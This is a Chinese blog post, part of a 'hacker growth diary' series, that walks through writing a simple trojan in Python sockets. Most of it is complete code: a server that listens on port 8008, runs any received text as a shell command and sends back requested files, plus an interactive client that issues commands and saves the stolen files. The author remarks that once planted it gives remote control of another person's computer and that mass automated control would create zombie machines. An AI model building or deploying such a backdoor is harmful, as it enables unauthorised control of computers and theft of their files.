5.2黑客成長(zhǎng)日記——socket-2

reference

1.0 黑客成長(zhǎng)日記
2.0入門網(wǎng)絡(luò)工具
3.0 工具合集
4.0知乎
5.0客戶端服務(wù)端

用socket寫一個(gè)簡(jiǎn)單木馬

并沒(méi)有,其實(shí)是需要服務(wù)端通力合作才能完成這個(gè)木馬,所以并沒(méi)有實(shí)操的那么強(qiáng),但是增進(jìn)理解。///其實(shí)是我理解的不對(duì),這個(gè)木馬有用啊,植入后能夠遠(yuǎn)程控制別人的電腦,這樣就可以實(shí)現(xiàn)了一個(gè)shell,如果全自動(dòng)大規(guī)??刂疲蔷褪侨怆u了。

在3.1節(jié),我們學(xué)習(xí)了socket編程的基礎(chǔ),可以實(shí)現(xiàn)基本的client和server端的編程。本節(jié)在此基礎(chǔ)上,實(shí)現(xiàn)client和server端的連接和交互,實(shí)現(xiàn)一個(gè)基本的木馬程序。該程序可以實(shí)現(xiàn)讀取服務(wù)端文件內(nèi)容發(fā)送給客戶端,或者執(zhí)行shell命令。

3.2.1 服務(wù)端

我們先按照之前的做法,創(chuàng)建server類,在start方法中完成服務(wù)器的啟動(dòng)和監(jiān)聽,并保持連接接收客戶端發(fā)送的數(shù)據(jù)。代碼如下:

    def executeCommand(self, tcpCliSock, data):  # 解析并執(zhí)行命令
        try:#
            message = data.decode("utf-8")
            if os.path.isfile(message):
                #判斷是否是文件
                filesize = str(os.path.getsize(message))
                #獲取文件大小
                print("文件大小為:",filesize)
                tcpCliSock.send(filesize.encode())
                #發(fā)送文件大小
                data = tcpCliSock.recv(self.bufferSize)  
                print("開始發(fā)送")
                with open(message, "rb") as f:
                    #打開文件tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
                    for line in f.readlines():
                        tcpCliSock.send(line)
                        #發(fā)送文件內(nèi)容
            else:
                print(1)
                tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
                print(1)
        except:
            raise

3.2.2

下面代碼中有一些調(diào)優(yōu),主要是timeout上和對(duì)命令結(jié)果的處理。

全代碼-server

# -*- coding: UTF-8 -*-
import socket
import sys
import os


class server:
    def __init__(self, ip, port):
        self.port = port
        self.ip = ip
        self.bufferSize = 1024


    def executeCommand(self, tcpCliSock, data):  # 解析并執(zhí)行命令
        try:#
            message = data.decode("utf-8")
            if os.path.isfile(message):
                #判斷是否是文件
                filesize = str(os.path.getsize(message))
                print("文件大小為:",filesize)
                #獲取文件大小
                tcpCliSock.send(filesize.encode())
                #發(fā)送文件大小
                data = tcpCliSock.recv(self.bufferSize)
                print("開始發(fā)送")
                with open(message, "rb") as f:
                    #打開文件tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
                    for line in f.readlines():
                        tcpCliSock.send(line)
                        #發(fā)送文件內(nèi)容
            else:
                print("processing by shell")
                data = os.popen(message).read().encode('utf-8')
                tcpCliSock.send(('0001: '+str(len(data))).encode('utf-8'))
                _ = tcpCliSock.recv(self.bufferSize)
                res = tcpCliSock.send(data)
                print(res)
                # tcpCliSock.send(('0001'+str(os.system(message))).encode('UTF-8'))
        except:
            raise


    def start(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#創(chuàng)建socket
        try:
            s.bind((self.ip, self.port)) # 綁定
            # 把socket綁定到傳入的IP和端口上,調(diào)用bind方法,傳入ip和端口號(hào)。
            s.listen(10)#監(jiān)聽
            print('socket正在監(jiān)聽')
            # 進(jìn)入監(jiān)聽狀態(tài),listen方法接收一個(gè)參數(shù),用來(lái)指定可以同時(shí)掛起的連接數(shù)。
            print("s.family", s.family)
            N = 5
            while True:
                # N -= 1
                # if N == 4:
                    # break
                try:
                    print('等待客戶端連接')
                    conn, addr = s.accept() # 接收連接
                    # accept方法會(huì)返回一個(gè)代表當(dāng)前鏈接的connection對(duì)象和客戶端的ip地址
                    print('客戶端連接 ' + addr[0] + ':' + str(addr[1]))
                    while True:
                        data = conn.recv(self.bufferSize) # 接收數(shù)據(jù)
                        print("客戶端數(shù)據(jù):%s" % data.decode('UTF-8'))
                        if not data:
                            break
                        else:
                            self.executeCommand(conn, data)
                        # conn.sendall(bytes("你好客戶端\n\r", encoding = "utf8")) # 發(fā)送數(shù)據(jù)
                        print("服務(wù)端消息發(fā)往客戶端成功")
                    conn.close()#關(guān)閉連接
                except socket.error as e:
                    print(e)
                    sys.exit()
        finally:
            print("關(guān)閉服務(wù)器")
            s.close() #關(guān)閉服務(wù)端


if __name__ == '__main__':
    s = server('', 8008)
    s.start()

在上面的代碼中,我們使用了連個(gè)while...true循環(huán),第一個(gè)用來(lái)接收新的連接,第二個(gè)是在當(dāng)前連接中保持連接,一直接收數(shù)據(jù)。此處我們假定客戶端發(fā)送的命令數(shù)據(jù)一定小于10240 byte,
ps:成功是成功了,可是在運(yùn)行一次后報(bào)錯(cuò)哦, 破案:是因?yàn)樵O(shè)定的10240--10K不夠用,我的哪個(gè)目錄文件比較大,需要循環(huán)發(fā)送,而本地又沒(méi)有給回復(fù)一個(gè)消息讓他繼續(xù)傳消息,所以說(shuō)被cli強(qiáng)迫關(guān)閉了,因?yàn)閏li不給反應(yīng)。

[WinError 10054] 遠(yuǎn)程主機(jī)強(qiáng)迫關(guān)閉了一個(gè)現(xiàn)有的連接

全代碼-cli

# -*- coding: UTF-8 -*-
import socket
import sys
import re
import os   

#測(cè)試類
class Client:
    def __init__(self, host, ip=None, port=80, message=None):
        self.host = host #待連接的遠(yuǎn)程主機(jī)的域名
        self.ip = ip
        self.port = port
        self.msg = bytes(message, encoding='UTF-8') if message else None
        self.bufferSize = 10240
        self.timeout = 2 # 最長(zhǎng)2s的延遲等待
    #
    #
    def change_msg(self, message):
        self.msg = bytes(message, encoding='UTF-8')
    #
    #
    def executeResult(self, data, message, s='socket'):
        if re.search("^0001: ",data.decode('utf-8','ignore')):
            #判斷數(shù)據(jù)類型為命令結(jié)果
            file_total_size = int(data.decode('utf-8')[6:])#總大小
            s.send("File size received".encode())#通知服務(wù)端可以發(fā)送文件了
            received_size = 0
            res = s.recv(self.bufferSize).decode('utf-8')
            print(res)
            if len(res) < file_total_size:
                print("*"*10, "please increase your bufferSize", "*"*10)
        else:
            #判斷數(shù)據(jù)類型為文件內(nèi)容處理,data第一次收到的是文件的大小
            s.send("File size received".encode())#通知服務(wù)端可以發(fā)送文件了
            file_total_size = int(data.decode())#總大小
            received_size = 0
            with open("robot_" + os.path.split(message)[-1], "wb") as file:#創(chuàng)建文件
                while received_size < file_total_size:
                    print("received_size:",received_size," / file_total_size:",file_total_size)
                    data = s.recv(self.bufferSize)
                    file.write(data)#寫文件
                    received_size += len(data)#累加接收長(zhǎng)度
                    print("已接收:", received_size)
            print("receive done", file_total_size, " ", received_size)
    #
    #
    def connect(self): #連接方法
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(self.timeout)
            print('socket created')
        except socket.error as e:
            print("Failed to create socket. Error: %s"%e)
            sys.exit() #退出進(jìn)程
        try:
            remote_ip = self.ip or socket.gethostbyname(self.host)#根據(jù)域名獲取ip
            print("get domain by IP: ", remote_ip)
        except socket.gaierror as e:
            print('主機(jī)無(wú)法被解析:', e)
            sys.exit() #退出進(jìn)程
        try:
            s.connect((remote_ip, self.port)) #連接
            print('socket連接成功')
            # message = self.msg or bytes("GET / HTTP/1.1\r\n\r\n", encoding="UTF-8")
            # message = b"GET / HTTP/1.1\r\n\r\n"
            # s.sendall(message) #發(fā)送數(shù)據(jù)
            # print('發(fā)送數(shù)據(jù)成功')
            # reply = s.recv(self.bufferSize) #接收數(shù)據(jù)
            while True:
                message = input('> ') # 接收用戶輸入
                if not message:
                    continue
                elif message == 'quit':
                    break
                elif message == '':
                    continue
                else:
                    s.send(bytes(message, 'utf-8'))#發(fā)送命令
                    print("successful Sending message")
                reply = s.recv(self.bufferSize)
                if reply:
                    self.executeResult(reply, message, s)
                else:
                    break
            print("original data", reply)
            s.close() #關(guān)閉連接
        except socket.error as e:
            print("socket error")
            print('發(fā)送數(shù)據(jù)失敗')
            s.close() #關(guān)閉連接
            raise e
        print("thanks for using")
        return 

if __name__ == '__main__':
    message = 'dir ..'
    cl = Client('www.fuckme.com', '127.0.0.1', 8008, message)
    # cl = Client('www.fuckme.com', '127.0.0.1', 8008, "**")
    # cl = Client('www.woqunidaye.com')
    # cl = Client('www.baidu.com')
    cl.connect()

#cl.connect()
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容